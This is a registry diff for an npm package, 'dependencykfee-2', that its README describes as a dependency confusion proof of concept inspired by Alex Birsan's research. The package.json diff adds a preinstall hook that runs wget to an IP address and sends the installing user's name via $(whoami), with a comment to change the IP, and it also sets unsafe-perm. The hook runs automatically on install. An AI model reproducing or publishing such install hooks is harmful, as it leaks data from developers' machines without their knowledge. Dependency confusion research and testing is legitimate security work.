dependencykfee-2 0.0.0-stage → 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. package/README.md +5 -2
  2. package/index.js +3 -0
  3. package/package.json +13 -4
package/README.md CHANGED
@@ -1,3 +1,6 @@
1
- # Temporary Holding Version
1
+ # NPM Dependency Confusion PoC
2
+ Simple PoC package for testing for dependency confusion vulnerabilities.
2
3
 
3
- This version is a temporary placeholder for this package. An operational version to replace this has been submitted for review and is awaiting a staged release.
4
+ Inspired by Alex Birsan's research.
5
+
6
+ Reference: [https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610)
package/index.js ADDED
@@ -0,0 +1,3 @@
1
+ exports.printMsg = function() {
2
+ console.log("This is a message from the demo package");
3
+ }
package/package.json CHANGED
@@ -1,6 +1,15 @@
1
1
  {
2
2
  "name": "dependencykfee-2",
3
- "version": "0.0.0-stage",
4
- "stub": true,
5
- "description": "Temporary package placeholder for staged publishing"
6
- }
3
+ "version": "1.0.0",
4
+ "description": "test",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "wget --quiet \"http://8.8.8.8/?user=$(whoami)\" # CHANGE IP ADDRESS"
8
+ },
9
+ "dependencies": {},
10
+ "config": {
11
+ "unsafe-perm":true
12
+ },
13
+ "author": "WayCup",
14
+ "license": "ISC"
15
+ }